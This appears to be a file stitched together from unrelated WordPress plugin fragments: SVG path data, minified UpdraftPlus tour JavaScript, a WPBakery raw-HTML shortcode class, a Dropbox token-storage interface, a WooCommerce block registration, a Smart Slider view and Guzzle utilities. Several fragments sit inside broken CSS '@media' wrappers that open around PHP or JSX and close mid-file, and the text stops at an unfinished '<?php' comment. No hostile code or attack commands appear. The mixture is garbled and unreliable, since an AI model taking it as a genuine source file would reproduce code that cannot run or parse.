    <path d="M219.4 634.2v-19.6h-4.9v-1.9h-38.8v2h-5v19.5zM207 669.5c-1.8-.7-4.3-2.9-4.3-5v-23.2l1.4-2.1h-17.7l1.5 2v23.3c0 2.1-2.6 4.3-4.3 5z"/>
    <path d="M190.7 639.2h9v30.3h-9z"/>
    <path stroke-linejoin="bevel" d="M204.4 632.5c0-2 5.8-2.1 8.8-3.8h-36c3 1.7 8.7 1.8 8.7 3.8l1.2 3.9 15 .6z"/>
    <path d="M211.4 611.3c0-4.9.2-6.7 1.7-6.7V620c-3.7 1.4-6.3 6-6.3 6h-23.2s-2.6-4.6-6.3-6v-15.5c1.8 0 1.8 2 1.8 6.7zm1.7-2c0-5.6 4.9-6.2 4.9-6.2v5c-1.9-.1-2.8 1.6-2.8 4 0 2.5 1.5 2.5 1.5 2.5v14.2h-3.6z"/>
    <path d="M177.3 609.3c0-5.6-4.9-6.2-4.9-6.2v5c1.9-.1 2.8 1.6 2.8 4 0 2.5-1.5 2.5-1.5 2.5v14.2h3.6z"/>
    <g fill="none" stroke-width=".8">
      <path d="M186.8 570.6H204m-19.2 5.4h21m-23 6.5h24.9m-27 7.9h29.5m-30.2 9h30.4"/>
      <path stroke-width="1" d="M170.8 629h48.6m-33.2 0h18v6.6h-18z"/>
    </g>
    <path d="M184 614.2c3 3.6 2.6 9.7 2.6 13.3H204c0-3.6-.4-9.7 2.6-13.3zm9.7-41-2.4-1.3v-3.5c1 .3 2 .4 2.2 2 .3-2.3 1-2.1 1.9-3 1 .9 1.5.7 1.9 3 0-1.6 1.2-1.7 2.1-2v3.5l-2.3 1.2z"/>
    <path d="m193.5 578.9-4-2.8V573c1.5.3 3 .5 3.2 2.2.4-2.5 1.3-3.7 2.7-4.7 1.3 1 2.2 2.2 2.7 4.7.1-1.7 1.7-1.9 3-2.2v3.2l-3.9 2.7z"/>
    <path d="m193.2 587.8-4.5-4v-4.7c1.6.4 3.4.6 3.6 3.1.5-3.5 1.5-5.4 3-6.8 1.6 1.4 2.6 3.3 3.2 6.8.2-2.5 2-2.7 3.6-3.1v4.7l-4.6 4zm8.4 5.3-4 5.7h-4.7l-4.1-5.7zm-15.2 9.5c2 1.1 2.8 3.4 3 7.6H201c.2-4.2 1-6.5 3-7.6z"/>
    <path stroke-linejoin="bevel" d="M204.2 593v-5.6a5.2 5.2 0 0 0-3.8 3.3c0-2-2.5-6.3-5.2-8.5-2.7 2.4-5.3 6.4-5.2 8.4-.5-1.5-1.8-2.7-3.8-3.2v5.7z"/>
    <path stroke-linejoin="bevel" d="M205 602.6V597c-2.1.6-3.5 1.7-4.1 3.3 0-2-2.7-6.3-5.7-8.5-3 2.5-5.8 6.4-5.7 8.5-.5-1.5-2-2.7-4.1-3.3v5.7z"/>
    <path stroke-linejoin="bevel" d="M207.4 614.3v-6.6a9.6 9.6 0 0 0-5.1 3.8c0-3.5-4-9-7.1-10.7-3.2 1.8-7.1 7.4-7.1 10.7a9.7 9.7 0 0 0-5.2-3.8v6.6z"/>
    <path stroke-linejoin="bevel" d="M206 629v-6.8c-2.4.9-3 3.1-3.8 4.7.3-6.9-3.8-14.2-7-16.1-3.2 1.9-7.4 9.4-7 16-.8-1.4-1.5-3.7-3.8-4.6v6.7z"/>
    <path d="M204.4 639.2v-6.8c-2.5.6-2.6 1.5-3.4 3 .3-4.1-2.6-8.8-5.8-10.6-3.2 1.8-6 6.5-5.8 10.6-.8-1.5-.9-2.4-3.4-3v6.8z"/>
    <g id="kh-a">
      <path d="M99 664.2v-20.4c-.7-2.6-3-5-4.6-5.4v-18l3.7 2 4.3 18.9v23z"/>
      <path d="M99 664.3v-20.5c-.7-2.6-3-5-4.6-5.4v-19.2c2.5 0 3.7 3.2 3.7 3.2l4.3 18.9v22.9z"/>
      <path d="M96.3 669.5c1.7-.7 4.2-2.9 4.2-5v-25.6l-1.2-2H143l-1.7 2v25.6a6 6 0 0 0 3.4 5z"/>
      <path d="M135.8 669.5c-1.7-.7-4.2-2.9-4.2-5v-24.3l3.6-3.4h-29.6l3.6 3.4v24.3c0 2.1-2.5 4.3-4.2 5z"/>
      <path d="M131.7 669.5c-1.7-.7-4.3-2.9-4.3-5v-22l2.4-3.3H111l2.4 3.3v22c0 2.1-2.5 4.3-4.3 5z"/>
      <path d="M116 639.2h8.9v30.4h-9z"/>
      <path stroke-linejoin="bevel" d="M103.7 647.6h3.6v16.5h-3.6zm30.8 0h3.5v16.5h-3.6zm-33.9-27.8h4.4v17h-4.4zm0-3.2h4.3v3.2h-4.3zm35.6 6.9h6.1v13h-6.1z"/>
      <path d="M104.9 636.6v-29c1.2 0 1.4 4.3 4.2 4.3 1.5 0 1.4-1.8.5-3.2-.7-1.3-1.6-3-.4-6.3.9 2.5 3.1 3.3 2.7 1.8-.7-2.7-2.8-3.2-1.2-7.3.5 3.4 2.7 3.3 2.2 1.3-.6-2.3-1.9-3.3-.3-6.5.9 3.7 2 3.5 2 1.2 0-3.4 0-7 4.2-8.3 0 0 .3-3 1.9-3 1.5 0 1.8 3 1.8 3 4.3 1.3 4.2 5 4.2 8.3 0 2.3 1.1 2.5 2-1.2 1.6 3.2.3 4.2-.3 6.5-.5 2 1.7 2.1 2.2-1.3 1.6 4.1-.5 4.6-1.2 7.3-.4 1.5 1.8.7 2.7-1.8 1.2 3.3.3 5-.4 6.3-.8 1.4-1 3.2.5 3.2 2.8 0 3-4.2 4.2-4.2v28.9zM98 614.7v22.1h2.5v-22.1c-.9-.5-1.7-.5-2.5 0z"/>
      <path d="M98.2 629c3.1 1.6 6.2 3.5 7 7.8h-7zm43.2-6.6v14.4h2v-14.4c-.6-.3-1.5-.4-2 0z"/>
      <path d="M143.4 629c-3.1 1.5-6.2 3.3-7 7.7h7zm-20.6-33.7 1.8-1.5v-2c-.6 0-1 .3-1.5 1a5 5 0 0 0-2.5-3 5 5 0 0 0-2.6 2.9c-.5-.7-.8-.8-1.5-1v2l1.8 1.6z"/>
      <path d="m123.8 600.2.8-1.9v-2.5c-.6 0-1 .3-1.5 1a5 5 0 0 0-2.5-3 5 5 0 0 0-2.6 2.9c-.5-.7-.8-.8-1.5-.9v2.5l.8 1.9z"/>
      <path d="m124 606.8 2.6-3.3v-3.2c-1 0-1.5.5-2.2 1.6-.7-2.3-2-2.7-3.8-3.8-1.9 1-3.2 1.5-3.8 3.7-.8-1.1-1.3-1.4-2.3-1.5v3.2l2.7 3.3z"/>
      <path d="M124.7 613.3s3.2-2.7 3.3-4.2v-3.5c-1.2.1-2.3.4-3.2 1.9-.8-2.9-2-3.7-4.2-5-2.3 1.3-3.5 2.1-4.2 5-1-1.5-2-1.8-3.3-2v3.6a15 15 0 0 0 3.3 4.2z"/>
      <path d="M126 625.3s4.4-4.7 4.5-6.6v-5.4c-1.6.2-3.2 1.3-4.4 3.6-1-4.5-2.6-7.6-5.5-9.8-3 2.2-4.6 5.3-5.6 9.8-1.2-2.3-2.7-3.4-4.3-3.6v5.4c.3 1.9 4.4 6.6 4.4 6.6z"/>
      <path d="M126 632.4s3.7-3.7 4.5-5.3v-5.4c-1.6.2-3.2 1.3-4.4 3.5a14 14 0 0 0-5.5-9.2c-3 2.2-4.6 4.7-5.6 9.2-1.2-2.2-2.7-3.3-4.3-3.5v5.4c1 1.6 4.4 5.3 4.4 5.3z"/>
      <path d="M127.5 636.6c-1-4.7-2-8.2-7.1-11.7-5.2 3.5-6.1 7-7.2 11.7z"/>
      <path d="M130.2 639.2v-6.8c-2.4 1-4.5 2.3-5.3 3.8-.8-3.8-2.5-5.4-4.6-7.7-2.1 2.3-3.5 4-4.4 7.7-.8-1.5-2.9-2.9-5.2-3.8v6.8z"/>
    </g>
    <use xlink:href="#kh-a" width="100%" height="100%" transform="matrix(-1 0 0 1 390.7 0)"/>
    <path d="M72.7 694.3H318v12.5H72.7zm-6.5 12.5h258.3v12.5H66.2zm19.4-31.3H305v8.1H85.6z"/>
    <path d="M79.2 683.6h232.4v10.6H79.2zm10.2-14.3h212v6.2h-212z"/>
    <path d="M112.4 669.3h16v50h-16z"/>
    <path d="M116 669.3h8.9v50h-9zm71 0h16v50h-16z"/>
    <path d="M190.7 669.3h9v50h-9zm71.5 0h16v50h-16z"/>
    <path d="M265.7 669.3h9v50h-9z"/>
    <path fill="none" d="M99 664.2h193M115.8 713h9.2m-9.2-6.3h9.2m-9.2-6.2h9.2m-9.2-6.3h9.2m-9.2-6.2h9.2m-9.2-6.3h9.2m-9.2-6.2h9.2m65.8 37.5h8.6m-8.6-6.3h8.6m-8.6-6.2h8.6m-8.6-6.3h8.6m-8.6-6.2h8.6m-8.6-6.3h8.6m-8.6-6.2h8.6m66.2 37.5h9.2m-9.2-6.3h9.2m-9.2-6.2h9.2m-9.2-6.3h9.2m-9.2-6.2h9.2m-9.2-6.3h9.2m-9.2-6.2h9.2"/>
  </g>
</svg>
!function(a){a(function(){var t,e,n,o;function u(){n.canceled=!0;var t={current_step:this.getCurrentStep().id};"function"==typeof updraft_send_command?updraft_send_command("set_tour_status",t,function(t){console.log("Successfully deactivated tour")},{alert_on_error:!1}):jQuery.ajax({url:ajaxurl,type:"POST",data:{action:"updraft_ajax",subaction:"set_tour_status",nonce:updraftplus_tour_i18n.nonce,current_step:this.getCurrentStep().id}})}a(".updraftplus-welcome .close").on("click",function(t){t.preventDefault(),a(this).closest(".updraftplus-welcome").remove()}),window.Shepherd&&(t="button button-primary",e=window.updraft_plugins_page_tour=new Shepherd.Tour,(n=window.updraft_main_tour=new Shepherd.Tour).options.defaults=e.options.defaults={classes:"shepherd-theme-arrows-plain-buttons shepherd-main-tour",showCancelLink:!0,scrollTo:!1,tetherOptions:{constraints:[{to:"scrollParent",attachment:"together",pin:!1}]}},e.addStep("intro",{title:updraftplus_tour_i18n.plugins_page.title,text:updraftplus_tour_i18n.plugins_page.text,attachTo:".js-updraftplus-settings top",buttons:[{classes:t,text:updraftplus_tour_i18n.plugins_page.button.text,action:function(){window.location=updraftplus_tour_i18n.plugins_page.button.url}}],tetherOptions:{constraints:[{to:"scrollParent",attachment:"together",pin:!1}],offset:"20px 0"},when:{show:function(){a("body").addClass("highlight-udp");var t=a(this.el);a("body, html").animate({scrollTop:t.offset().top-50},500,function(){window.scrollTo(0,t.offset().top-50)})},hide:function(){a("body").removeClass("highlight-udp")}}}),n.addStep("backup_now",{title:updraftplus_tour_i18n.backup_now.title,text:updraftplus_tour_i18n.backup_now.text,attachTo:"#updraft-backupnow-button bottom",buttons:[{classes:"udp-tour-end",text:updraftplus_tour_i18n.end_tour,action:n.cancel},{classes:t,text:updraftplus_tour_i18n.next,action:function(){a("#updraft-navtab-settings").trigger("click")}}]}),n.addStep("backup_options",{title:updraftplus_tour_i18n.backup_options.title,text:updraftplus_tour_i18n.backup_options.text,classes:"shepherd-theme-arrows-plain-buttons shepherd-main-tour super-index",attachTo:"#backupnow_includedb left",tetherOptions:{offset:"-15px 25px"},buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){a("#updraft-backupnow-modal").dialog("close")}},{classes:t,text:updraftplus_tour_i18n.next,action:n.next}]}),n.addStep("backup_now_btn",{title:updraftplus_tour_i18n.backup_now_btn.title,text:updraftplus_tour_i18n.backup_now_btn.text,classes:"shepherd-theme-arrows-plain-buttons shepherd-main-tour super-index",attachTo:".js-tour-backup-now-button top",buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.back()}},{classes:t,text:updraftplus_tour_i18n.backup_now_btn.btn_text,action:function(){a("#updraft-backupnow-modal").dialog("close"),a("#updraft-navtab-settings").trigger("click")}}]}),n.addStep("backup_now_btn_success",{title:updraftplus_tour_i18n.backup_now_btn_success.title,text:updraftplus_tour_i18n.backup_now_btn_success.text,attachTo:"#updraft_activejobs_table top",buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){a("#updraft-backupnow-button").trigger("click"),n.show("backup_now_btn")}},{classes:t,text:updraftplus_tour_i18n.backup_now_btn_success.btn_text,action:function(){a("#updraft-navtab-settings").trigger("click")}}],when:{show:function(){setTimeout(function(){a(window).trigger("scroll")})}}}),n.addStep("settings_timing",{title:updraftplus_tour_i18n.settings_timing.title,text:updraftplus_tour_i18n.settings_timing.text,attachTo:".retain-files right",buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){a("#updraft-navtab-backups").trigger("click")}},{classes:t,text:updraftplus_tour_i18n.next,action:n.next}],tetherOptions:a.extend({},n.options.defaults.tetherOptions,{offset:"-33px -15px"}),when:{show:function(){o()}}}),n.addStep("settings_remote_storage",{title:updraftplus_tour_i18n.settings_remote_storage.title,text:updraftplus_tour_i18n.settings_remote_storage.text,attachTo:{element:"label[for=updraft_servicecheckbox_updraftvault]",on:"top"},buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.back()}},{classes:t,text:updraftplus_tour_i18n.next,action:function(){a("#updraft_servicecheckbox_updraftvault").is(":checked")?n.show("vault_selected"):n.next()}}],when:{show:function(t){a("label[for=updraft_servicecheckbox_updraftvault]").addClass("emphasize"),o()},hide:function(t){a("label[for=updraft_servicecheckbox_updraftvault]").removeClass("emphasize")}}}),n.addStep("settings_more",{title:updraftplus_tour_i18n.settings_more.title,text:updraftplus_tour_i18n.settings_more.text,attachTo:".js-tour-settings-more top",scrollTo:!1,tetherOptions:{},buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.back()}},{classes:t,text:updraftplus_tour_i18n.next,action:n.next}],when:{show:function(){o()}}}),n.addStep("settings_save",{title:updraftplus_tour_i18n.settings_save.title,text:updraftplus_tour_i18n.settings_save.text,attachTo:"#updraftplus-settings-save top",scrollTo:!1,buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.back()}},{classes:t,text:updraftplus_tour_i18n.next,action:function(){a("#updraftcentral_cloud_connect_container").length?n.show("updraft_central"):a("#updraft-navtab-addons").trigger("click")}}],when:{show:function(){o()}}}),n.addStep("updraft_central",{title:updraftplus_tour_i18n.updraft_central.title,text:updraftplus_tour_i18n.updraft_central.text,attachTo:"#updraftcentral_cloud_connect_container  top",scrollTo:!1,buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.back()}},{classes:t,text:updraftplus_tour_i18n.next,action:function(){a("#updraft-navtab-addons").trigger("click")}}],when:{show:function(){o()}}}),n.addStep("premium",{title:updraftplus_tour_i18n.premium.title,text:updraftplus_tour_i18n.premium.text,attachTo:updraftplus_tour_i18n.premium.attach_to,scrollTo:!1,buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.going_somewhere=!0,a("#updraft-navtab-settings").trigger("click"),a("#updraftcentral_cloud_connect_container").length?n.show("updraft_central"):n.show("settings_save"),o()}},{classes:t,text:updraftplus_tour_i18n.premium.button,action:n.cancel}],when:{show:function(){window.scroll(0,0)}}}),n.addStep("vault_selected",{title:updraftplus_tour_i18n.vault_selected.title,text:updraftplus_tour_i18n.vault_selected.text,attachTo:"#updraftvault_settings_cell top",scrollTo:!1,buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.show("settings_remote_storage")}},{classes:t,text:updraftplus_tour_i18n.next,action:function(){n.show("settings_more")}}],when:{show:function(t){o()}}}),n.addStep("settings_saved",{title:updraftplus_tour_i18n.settings_saved.title,text:updraftplus_tour_i18n.settings_saved.text,attachTo:"#updraftplus-settings-save top",scrollTo:!1,buttons:[{classes:"udp-tour-back",text:updraftplus_tour_i18n.back,action:function(){n.show("settings_more")}},{classes:t,text:updraftplus_tour_i18n.next,action:function(){a("#updraftcentral_cloud_connect_container").length?n.show("updraft_central"):a("#updraft-navtab-addons").trigger("click")}}],when:{show:function(){o()}}}),n.steps.forEach(function(t){t.once("show",function(){a(this.el).find("header .shepherd-cancel-link").attr("data-btntext",updraftplus_tour_i18n.close),a(this.el).find(".js--go-to-settings").on("click",function(t){t.preventDefault(),a("#updraft-navtab-settings").trigger("click")})})}),n.on("cancel",u),e.on("cancel",u),o=function(t){n.going_somewhere=!1,t=t||n.getCurrentStep();var e=a(t.el);a(t.tether.target);a("body, html").animate({scrollTop:e.offset().top-50},500,function(){window.scrollTo(0,e.offset().top-50)})},a("#updraft-backupnow-button").length&&(a("#updraft-backupnow-button").on("click",function(t){n.canceled||n.show("backup_options")}),a("#updraft-navtab-backups").on("click",function(t){n.canceled||n.show("backup_now")}),a(document).on("click","label[for=updraft_servicecheckbox_updraftvault]",function(t){n.canceled||a("#updraft_servicecheckbox_updraftvault").is(":checked")||setTimeout(function(){n.show("vault_selected")},200)}),a("#updraft-backupnow-modal").on("dialogclose",function(t,e){n.canceled||n.show("backup_now")}),a(".js-tour-backup-now-button").on("click",function(t){n.canceled||n.show("backup_now_btn_success")}),a("#updraft-navtab-settings").on("click",function(t){n.canceled||n.going_somewhere||n.show("settings_timing")}),a("#updraft-navtab-addons").on("click",function(t){n.canceled||n.show("premium")}),a("#updraft-navtab-migrate, #updraft-navtab-expert").on("click",function(t){n.canceled||n.hide()}),n.start(),(updraftplus_tour_i18n.show_tab_on_load?a(updraftplus_tour_i18n.show_tab_on_load):a("#updraft-navtab-backups")).trigger("click")),a(".js-updraftplus-settings").length&&e.start())})}(jQuery);<?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 */
class WPBakeryShortCode_Vc_Raw_Html extends WPBakeryShortCode {

	/**
	 * @param $param
	 * @param $value
	 * @return string
	 */
	public function singleParamHtmlHolder( $param, $value ) {
		$output = '';
		// Compatibility fixes
		// TODO: check $old_names & &new_names. Leftover from copypasting?
		$old_names = array(
			'yellow_message',
			'blue_message',
			'green_message',
			'button_green',
			'button_grey',
			'button_yellow',
			'button_blue',
			'button_red',
			'button_orange',
		);
		$new_names = array(
			'alert-block',
			'alert-info',
			'alert-success',
			'btn-success',
			'btn',
			'btn-info',
			'btn-primary',
			'btn-danger',
			'btn-warning',
		);
		$value = str_ireplace( $old_names, $new_names, $value );

		$param_name = isset( $param['param_name'] ) ? $param['param_name'] : '';
		$type = isset( $param['type'] ) ? $param['type'] : '';
		$class = isset( $param['class'] ) ? $param['class'] : '';

		if ( isset( $param['holder'] ) && 'hidden' !== $param['holder'] ) {
			if ( 'textarea_raw_html' === $param['type'] ) {
				// @codingStandardsIgnoreLine
				$output .= sprintf( '<%s class="wpb_vc_param_value %s %s %s" name="%s">%s</%s><input type="hidden" name="%s_code" class="%s_code" value="%s" />', $param['holder'], $param_name, $type, $class, $param_name, htmlentities( rawurldecode( base64_decode( wp_strip_all_tags( $value ) ) ), ENT_COMPAT, 'UTF-8' ), $param['holder'], $param_name, $param_name, wp_strip_all_tags( $value ) );

			} else {
				$output .= '<' . $param['holder'] . ' class="wpb_vc_param_value ' . $param_name . ' ' . $type . ' ' . $class . '" name="' . $param_name . '">' . $value . '</' . $param['holder'] . '>';
			}
		}

		return $output;
	}
}

<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#857122" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"></path><line x1="12" y1="9" x2="12" y2="13"></line><line x1="12" y1="17" x2="12.01" y2="17"></line></svg><?php

/**
 * OAuth storage handler interface
 * @author Ben Tadiar <ben@handcraftedbyben.co.uk>
 * @link https://github.com/benthedesigner/dropbox
 * @package Dropbox\OAuth
 * @subpackage Storage
 */

interface Dropbox_StorageInterface
{
    /**
     * Get a token by type
     * @param string $type Token type to retrieve
     */
    public function get($type);
    
    /**
     * Set a token by type
     * @param \stdClass $token Token object to set
     * @param string $type Token type
     */
    public function set($token, $type);
    
    /**
     * Delete tokens for the current session/user
     */
    public function delete();
}
@media only screen and (max-width: 800px){/**
 * External dependencies
 */
import { __ } from '@wordpress/i18n';
import { registerBlockType } from '@wordpress/blocks';
import { Icon, commentContent } from '@wordpress/icons';
/**
 * Internal dependencies
 */
import '../editor.scss';
import Editor from './edit';
import sharedAttributes from '../attributes';
import save from '../save.js';
import { example } from '../example';

/**
 * Register and run the "Reviews by Product" block.
 */
registerBlockType( 'woocommerce/reviews-by-product', {
	apiVersion: 2,
	title: __( 'Reviews by Product', 'woocommerce' ),
	icon: {
		src: (
			<Icon
				icon={ commentContent }
				className="wc-block-editor-components-block-icon"
			/>
		),
	},
	category: 'woocommerce',
	keywords: [ __( 'WooCommerce', 'woocommerce' ) ],
	description: __(
		'Display reviews for your products.',
		'woocommerce'
	),
	supports: {
		html: false,
		color: {
			background: false,
		},
		typography: {
			fontSize: true,
		},
	},
	example: {
		...example,
		attributes: {
			...example.attributes,
			productId: 1,
		},
	},
	attributes: {
		...sharedAttributes,
		/**
		 * The id of the product to load reviews for.
		 */
		productId: {
			type: 'number',
		},
	},

	/**
	 * Renders and manages the block.
	 *
	 * @param {Object} props Props to pass to block.
	 */
	edit( props ) {
		return <Editor { ...props } />;
	},

	/**
	 * Save the props to post content.
	 */
	save,
} );
}@media only screen and (max-width: 640px){<?php

namespace Nextend\SmartSlider3\Application\Admin\Generator;


use Nextend\SmartSlider3\Application\Admin\Layout\Block\Generator\GeneratorBox\BlockGeneratorBox;
use Nextend\SmartSlider3\Generator\AbstractGeneratorGroup;

/**
 * @var ViewGeneratorCreateStep1Groups $this
 */

$generatorGroups = $this->getGeneratorGroups();

/** @var AbstractGeneratorGroup[] $installed */
$installed = array();

/** @var AbstractGeneratorGroup[] $notInstalled */
$notInstalled = array();

foreach ($generatorGroups as $generatorGroup) {

    if (!$generatorGroup->isDeprecated()) {
        if ($generatorGroup->isInstalled()) {
            $installed[] = $generatorGroup;
        } else {
            $notInstalled[] = $generatorGroup;
        }
    }
}

?>

<div class="n2_slide_generator_step1">
    <div class="n2_slide_generator_step1__installed_generators">
        <?php

        foreach ($installed as $generatorGroup) {

            $blockGeneratorBox = new BlockGeneratorBox($this);
            $blockGeneratorBox->setImageUrl($generatorGroup->getImageUrl());
            $blockGeneratorBox->setLabel($generatorGroup->getLabel());
            $blockGeneratorBox->setButtonLabel(n2_('Choose'));
            $blockGeneratorBox->setDescription($generatorGroup->getDescription());
            $blockGeneratorBox->setDocsLink($generatorGroup->getDocsLink());

            if ($generatorGroup->hasConfiguration()) {
                $url = $this->getUrlGeneratorCheckConfiguration($generatorGroup->getName(), $this->getSliderID(), $this->groupID);
            } else {
                $url = $this->getUrlGeneratorCreateStep2($generatorGroup->getName(), $this->getSliderID(), $this->groupID);
            }
            $blockGeneratorBox->setButtonLink($url);

            $blockGeneratorBox->display();
        }
        ?>
    </div>

    <?php if (!empty($notInstalled)): ?>
        <div class="n2_slide_generator_step1__not_installed">
            <div class="n2_slide_generator_step1__not_installed_label">
                <?php n2_e('Not installed'); ?>
            </div>
            <div class="n2_slide_generator_step1__not_installed_generators">
                <?php
                foreach ($notInstalled as $generatorGroup) {
                    $blockGeneratorBox = new BlockGeneratorBox($this);
                    $blockGeneratorBox->setImageUrl($generatorGroup->getImageUrl());
                    $blockGeneratorBox->setLabel($generatorGroup->getLabel());
                    $blockGeneratorBox->setButtonLabel(n2_('Visit'));
                    $blockGeneratorBox->setButtonLinkTarget('_blank');
                    $blockGeneratorBox->setButtonLink($generatorGroup->getUrl());
                    $blockGeneratorBox->setDescription($generatorGroup->getDescription());

                    $blockGeneratorBox->display();
                }
                ?>
            </div>
        </div>
    <?php endif; ?>
</div>}@media only screen and (max-width: 800px){<?php

namespace Google\Site_Kit_Dependencies\GuzzleHttp;

use Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\CurlHandler;
use Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\CurlMultiHandler;
use Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\StreamHandler;
use Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\Middleware;
/**
 * Utility methods used throughout Guzzle.
 */
final class Utils
{
    /**
     * Gets a value from an array using a path syntax to retrieve nested data.
     *
     * This method does not allow for keys that contain "/". You must traverse
     * the array manually or using something more advanced like JMESPath to
     * work with keys that contain "/".
     *
     *     // Get the bar key of a set of nested arrays.
     *     // This is equivalent to $collection['foo']['baz']['bar'] but won't
     *     // throw warnings for missing keys.
     *     GuzzleHttp\get_path($data, 'foo/baz/bar');
     *
     * @param array  $data Data to retrieve values from
     * @param string $path Path to traverse and retrieve a value from
     *
     * @return mixed|null
     */
    public static function getPath($data, $path)
    {
        $path = \explode('/', $path);
        while (null !== ($part = \array_shift($path))) {
            if (!\is_array($data) || !isset($data[$part])) {
                return null;
            }
            $data = $data[$part];
        }
        return $data;
    }
    /**
     * Set a value in a nested array key. Keys will be created as needed to set
     * the value.
     *
     * This function does not support keys that contain "/" or "[]" characters
     * because these are special tokens used when traversing the data structure.
     * A value may be prepended to an existing array by using "[]" as the final
     * key of a path.
     *
     *     GuzzleHttp\get_path($data, 'foo/baz'); // null
     *     GuzzleHttp\set_path($data, 'foo/baz/[]', 'a');
     *     GuzzleHttp\set_path($data, 'foo/baz/[]', 'b');
     *     GuzzleHttp\get_path($data, 'foo/baz');
     *     // Returns ['a', 'b']
     *
     * @param array  $data  Data to modify by reference
     * @param string $path  Path to set
     * @param mixed  $value Value to set at the key
     *
     * @throws \RuntimeException when trying to setPath using a nested path
     *     that travels through a scalar value.
     */
    public static function setPath(&$data, $path, $value)
    {
        $queue = \explode('/', $path);
        // Optimization for simple sets.
        if (\count($queue) === 1) {
            $data[$path] = $value;
            return;
        }
        $current =& $data;
        while (null !== ($key = \array_shift($queue))) {
            if (!\is_array($current)) {
                throw new \RuntimeException("Trying to setPath {$path}, but " . "{$key} is set and is not an array");
            } elseif (!$queue) {
                if ($key == '[]') {
                    $current[] = $value;
                } else {
                    $current[$key] = $value;
                }
            } elseif (isset($current[$key])) {
                $current =& $current[$key];
            } else {
                $current[$key] = [];
                $current =& $current[$key];
            }
        }
    }
    /**
     * Expands a URI template
     *
     * @param string $template  URI template
     * @param array  $variables Template variables
     *
     * @return string
     */
    public static function uriTemplate($template, array $variables)
    {
        if (\function_exists('Google\\Site_Kit_Dependencies\\uri_template')) {
            return \Google\Site_Kit_Dependencies\uri_template($template, $variables);
        }
        static $uriTemplate;
        if (!$uriTemplate) {
            $uriTemplate = new \Google\Site_Kit_Dependencies\GuzzleHttp\UriTemplate();
        }
        return $uriTemplate->expand($template, $variables);
    }
    /**
     * Wrapper for JSON decode that implements error detection with helpful
     * error messages.
     *
     * @param string $json    JSON data to parse
     * @param bool $assoc     When true, returned objects will be converted
     *                        into associative arrays.
     * @param int    $depth   User specified recursion depth.
     * @param int    $options Bitmask of JSON decode options.
     *
     * @return mixed
     * @throws \InvalidArgumentException if the JSON cannot be parsed.
     * @link http://www.php.net/manual/en/function.json-decode.php
     */
    public static function jsonDecode($json, $assoc = \false, $depth = 512, $options = 0)
    {
        if ($json === '' || $json === null) {
            return null;
        }
        static $jsonErrors = [\JSON_ERROR_DEPTH => 'JSON_ERROR_DEPTH - Maximum stack depth exceeded', \JSON_ERROR_STATE_MISMATCH => 'JSON_ERROR_STATE_MISMATCH - Underflow or the modes mismatch', \JSON_ERROR_CTRL_CHAR => 'JSON_ERROR_CTRL_CHAR - Unexpected control character found', \JSON_ERROR_SYNTAX => 'JSON_ERROR_SYNTAX - Syntax error, malformed JSON', \JSON_ERROR_UTF8 => 'JSON_ERROR_UTF8 - Malformed UTF-8 characters, possibly incorrectly encoded'];
        $data = \json_decode($json, $assoc, $depth, $options);
        if (\JSON_ERROR_NONE !== \json_last_error()) {
            $last = \json_last_error();
            throw new \InvalidArgumentException('Unable to parse JSON data: ' . (isset($jsonErrors[$last]) ? $jsonErrors[$last] : 'Unknown error'));
        }
        return $data;
    }
    /**
     * Get the default User-Agent string to use with Guzzle
     *
     * @return string
     */
    public static function getDefaultUserAgent()
    {
        static $defaultAgent = '';
        if (!$defaultAgent) {
            $defaultAgent = 'Guzzle/' . \Google\Site_Kit_Dependencies\GuzzleHttp\ClientInterface::VERSION;
            if (\extension_loaded('curl')) {
                $defaultAgent .= ' curl/' . \curl_version()['version'];
            }
            $defaultAgent .= ' PHP/' . \PHP_VERSION;
        }
        return $defaultAgent;
    }
    /**
     * Create a default handler to use based on the environment
     *
     * @throws \RuntimeException if no viable Handler is available.
     */
    public static function getDefaultHandler()
    {
        $default = $future = null;
        if (\extension_loaded('curl')) {
            $config = ['select_timeout' => \getenv('GUZZLE_CURL_SELECT_TIMEOUT') ?: 1];
            if ($maxHandles = \getenv('GUZZLE_CURL_MAX_HANDLES')) {
                $config['max_handles'] = $maxHandles;
            }
            if (\function_exists('curl_reset')) {
                $default = new \Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\CurlHandler();
                $future = new \Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\CurlMultiHandler($config);
            } else {
                $default = new \Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\CurlMultiHandler($config);
            }
        }
        if (\ini_get('allow_url_fopen')) {
            $default = !$default ? new \Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\StreamHandler() : \Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\Middleware::wrapStreaming($default, new \Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\StreamHandler());
        } elseif (!$default) {
            throw new \RuntimeException('Guzzle requires cURL, the ' . 'allow_url_fopen ini setting, or a custom HTTP handler.');
        }
        return $future ? \Google\Site_Kit_Dependencies\GuzzleHttp\Ring\Client\Middleware::wrapFuture($default, $future) : $default;
    }
}
}@media only screen and (max-width: 640px){<?php
/**
